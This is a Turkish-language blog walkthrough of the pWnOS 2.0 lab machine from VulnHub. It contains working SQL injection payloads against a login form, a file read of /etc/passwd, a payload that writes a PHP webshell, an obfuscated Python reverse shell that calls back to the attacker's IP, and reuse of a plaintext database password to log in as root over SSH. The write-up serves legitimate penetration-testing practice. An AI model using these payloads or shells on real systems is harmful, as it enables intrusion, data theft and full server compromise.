İçeriğe geç

PWNOS: 2.0 (PRE-RELEASE)

Tarih: 02/06/2021 | Yazar: kuday

Makine Hakkında Bilgiler

Açıklama:
You may need to change VMWare's Network Adapter to NAT or Host-Only depending on your setup
The server's ip is staticaly set to 10.10.10.100
Server's Network Settings:
IP: 10.10.10.100
Netmask: 255.255.255.0
Gateway: 10.10.10.15

Vulnhub Sayfası:
https://www.vulnhub.com/entry/pwnos-20-pre-release,34/

İndirme Sayfası: https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z

Walkthrough

Makinenin ip adresini tespit edelim.

┌──(root💀kali)-[/home/kali/oscp]
└─# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.20  netmask 255.255.255.0  broadcast 10.10.10.255
        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)
        RX packets 13  bytes 1630 (1.5 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 526  bytes 32650 (31.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(root💀kali)-[/home/kali/oscp]
└─# arp-scan -l | grep 00:0c:29:f7:54:a9
10.10.10.100    00:0c:29:f7:54:a9   VMware, Inc.

Şimdi bir nmap taraması gerçekleştirelim.

┌──(root💀kali)-[/home/kali/oscp]
└─# nmap -p- -A 10.10.10.100 -T4 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-02 15:41 EDT
Nmap scan report for 10.10.10.100
Host is up (0.00071s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 00:0C:29:F7:54:A9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.71 ms 10.10.10.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.15 seconds

ssh ve http servisleri sadece açık. http ile başlayalım. 

──(root💀kali)-[/home/kali/oscp]
└─# nikto -h http://10.10.10.100  
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.100
+ Target Hostname:    10.10.10.100
+ Target Port:        80
+ Start Time:         2021-06-02 15:42:03 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie PHPSESSID created without the httponly flag
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8673 requests: 0 error(s) and 26 item(s) reported on remote host
+ End Time:           2021-06-02 15:42:48 (GMT-4) (45 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

info.php dosyasında phpinfo() olduğunu gördüm. Burdan bazı bilgiler elde ettim. /login/ sayfasında http paketini yakaladım ve sqlmap'e verdim. Aşağıda http paketini görebilirsiniz.

──(root💀kali)-[/home/kali/oscp/pwnos]
└─# cat girisIstek
POST /login.php HTTP/1.1
Host: 10.10.10.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://10.10.10.100
Connection: close
Referer: http://10.10.10.100/login.php
Cookie: PHPSESSID=ve1s7an4gtei2r81ko4m3nfqt4
Upgrade-Insecure-Requests: 1

email=admin&pass=admin&submit=Login&submitted=TRUE

sqlmap çıktısıda aşağıda verilmiştir.

┌──(root💀kali)-[/home/kali/oscp/pwnos]
└─# sqlmap -r girisIstek --level=5 --risk=3 --dbs --batch  -p email,pass   
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.5.2#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:21 /2021-06-02/

[17:43:21] [INFO] parsing HTTP request from 'girisIstek'
[17:43:22] [WARNING] provided parameters 'email, pass' are not inside the Cookie
[17:43:22] [INFO] testing connection to the target URL
[17:43:22] [INFO] testing if the target URL content is stable
[17:43:22] [INFO] target URL content is stable
[17:43:23] [INFO] heuristic (basic) test shows that POST parameter 'email' might be injectable (possible DBMS: 'MySQL')
[17:43:23] [INFO] heuristic (XSS) test shows that POST parameter 'email' might be vulnerable to cross-site scripting (XSS) attacks
[17:43:23] [INFO] testing for SQL injection on POST parameter 'email'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[17:43:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:43:23] [WARNING] reflective value(s) found and filtering out
[17:43:26] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[17:43:28] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[17:43:28] [INFO] POST parameter 'email' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable (with --not-string="Logging")
[17:43:28] [INFO] testing 'Generic inline queries'
[17:43:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[17:43:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[17:43:28] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[17:43:28] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[17:43:28] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[17:43:28] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[17:43:28] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[17:43:28] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[17:43:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:43:28] [INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[17:43:28] [INFO] testing 'MySQL inline queries'
[17:43:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[17:43:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[17:43:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[17:43:28] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[17:43:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[17:43:28] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[17:43:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:43:38] [INFO] POST parameter 'email' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[17:43:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:43:39] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:43:39] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:43:39] [INFO] target URL appears to have 8 columns in query
[17:43:39] [INFO] POST parameter 'email' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[17:43:39] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'email' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 245 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: email=admin' OR NOT 8793=8793-- LvAT&pass=admin&submit=Login&submitted=TRUE

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=admin' AND (SELECT 9308 FROM(SELECT COUNT(*),CONCAT(0x7176767671,(SELECT (ELT(9308=9308,1))),0x7178787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- QZVU&pass=admin&submit=Login&submitted=TRUE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=admin' AND (SELECT 2293 FROM (SELECT(SLEEP(5)))Wdkz)-- scen&pass=admin&submit=Login&submitted=TRUE

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: email=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176767671,0x6c7163425669527170526f6c566851734e6a4f655970724e415a486e656c4b4b6c6767506d63574c,0x7178787071),NULL,NULL,NULL,NULL-- -&pass=admin&submit=Login&submitted=TRUE
---
[17:43:39] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 11.04 (Natty Narwhal)
web application technology: Apache 2.2.17, PHP 5.3.5
back-end DBMS: MySQL >= 5.0
[17:43:39] [INFO] fetching database names
[17:43:39] [INFO] retrieved: 'information_schema'
[17:43:39] [INFO] retrieved: 'ch16'
[17:43:39] [INFO] retrieved: 'mysql'
available databases [3]:                                                                                                                                                                                                                    
[*] ch16
[*] information_schema
[*] mysql

[17:43:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/10.10.10.100'

[*] ending @ 17:43:39 /2021-06-02/

Tabloları dump ettim kullanıcı adı buldum ancak parola hashlenmiş bir şekildeydi ve kıradamadım. Bunun üzerine sql injection üzerinde burp aracılığı ile manuel çalışmaya başladım. UNION query üzerinde çalıştığımda aşağıdaki http paketini burp aracılığı ile gönderdiğimde dosya okuma işlmei gerçekleştirebildim.

POST /login.php HTTP/1.1
Host: 10.10.10.100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://10.10.10.100
Connection: close
Referer: http://10.10.10.100/login.php
Cookie: PHPSESSID=ve1s7an4gtei2r81ko4m3nfqt4
Upgrade-Insecure-Requests: 1

email=admin' UNION ALL SELECT NULL,NULL,NULL,load_file('/etc/passwd'),NULL,NULL,NULL,NULL-- -&pass=admin&submit=Login&submitted=TRUE

Cevap:

HTTP/1.1 200 OK
Date: Wed, 02 Jun 2021 22:07:30 GMT
Server: Apache/2.2.17 (Ubuntu)
X-Powered-By: PHP/5.3.5-1ubuntu7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1506
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
    <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" />
    <title>Login</title>
<style type="text/css" media="screen">@import "includes/layout.css";</style>
</head>
<body>
<div id="Header">IsIntS</div>
<div id="Content">
<!-- End of Header -->
<h1>Welcome root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
landscape:x:104:110::/var/lib/landscape:/bin/false
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash
</h1><br/>Logging in...<br/>

Yukarıdaki örnek referans alındığında aşağıdaki payload gönderildiğinde:

email=admin' UNION ALL SELECT NULL,NULL,NULL, user() ,NULL,NULL,NULL,NULL-- -&pass=admin&submit=Login&submitted=TRUE

Cevap olarak :

Welcome root@localhost

Almaktayız. Şimdi webshell eklemeye çalışalım.

email=1' UNION ALL SELECT NULL,NULL,NULL,"<?php system($_GET['cmd']); ?>",NULL,NULL,NULL,NULL into outfile '/var/www/shell.php' -- -&pass=1&submit=Login&submitted=TRUE

Burda bir hata alacağız ama bu php bazlı bir hatadır. Parse edebileceği bir veri bulamadığı için php hata vermektedir. Ancak shell dosyamız başarıyla eklendi. Burda path'i (/var/www) nereden bulduğumu düşünüyor olabilirsiniz. phpinfo() dosyasının bize bazı bilgiler verebilceğini size söylemiştim.

http://10.10.10.100/shell.php?cmd=whoami şeklidne bir istek attığımızda 

\N \N \N www-data \N \N \N \N

Şeklinde bi cevap almaktayız. İçerdeyiz! Daha iyi bir shell için:

┌──(root💀kali)-[/home/kali/oscp/pwnos]
└─#  msfvenom -p cmd/unix/reverse_python lhost=10.10.10.20 lport=1822 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 625 bytes
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAgICwgICAgICAgICBzdWJwcm9jZXNzICAgICAgLCAgICAgICAgIG9zICAgOyAgICAgaG9zdD0iMTAuMTAuMTAuMjAiICAgOyAgICAgcG9ydD0xODIyICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgLCAgICAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICA7ICAgICBzLmNvbm5lY3QoKGhvc3QgICAgICAsICAgICAgICAgcG9ydCkpICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDApICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDEpICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDIpICAgOyAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))"

Daha sonrasında nc ile bir dinleme başlattım ve http://10.10.10.100/shell.php?cmd=python%20-c%20%22exec(__import__(%27base64%27).b64decode(__import__(%27codecs%27).getencoder(%27utf-8%27)(%27aW1wb3J0IHNvY2tldCAgICAgICwgICAgICAgICBzdWJwcm9jZXNzICAgICAgLCAgICAgICAgIG9zICAgOyAgICAgaG9zdD0iMTAuMTAuMTAuMjAiICAgOyAgICAgcG9ydD0xODIyICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgICAgLCAgICAgICAgIHNvY2tldC5TT0NLX1NUUkVBTSkgICA7ICAgICBzLmNvbm5lY3QoKGhvc3QgICAgICAsICAgICAgICAgcG9ydCkpICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDApICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDEpICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICAgLCAgICAgICAgIDIpICAgOyAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp%27)[0]))%22 adresine gitmeyi denedim. İçeride gezindikten sonra aşağıdaki mysql config dosyasını buldum.

pwd
/var
ls
backups
cache
crash
index.html
lib
local
lock
log
mail
mysqli_connect.php
opt
run
spool
tmp
uploads
www
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

?>

ssh servisimiz açıktı root kullanıcısı ile girmeyi denedim. Parola olarak ise yukarıdaki parolayı kullandım.

┌──(root💀kali)-[/home/kali/oscp/pwnos]
└─# ssh [email protected]                                   
The authenticity of host '10.10.10.100 (10.10.10.100)' can't be established.
ECDSA key fingerprint is SHA256:EWPtTr0Xn9NMudUhcD3+AMXSigXAGS4uldZp3grLm8w.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.100' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

 * Documentation:  http://www.ubuntu.com/server/doc

  System information as of Wed Jun  2 18:35:08 EDT 2021

  System load:  0.0               Processes:           77
  Usage of /:   2.9% of 38.64GB   Users logged in:     0
  Memory usage: 23%               IP address for eth0: 10.10.10.100
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May  9 19:29:03 2011
root@web:~# whoami
root
root@web:~#
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir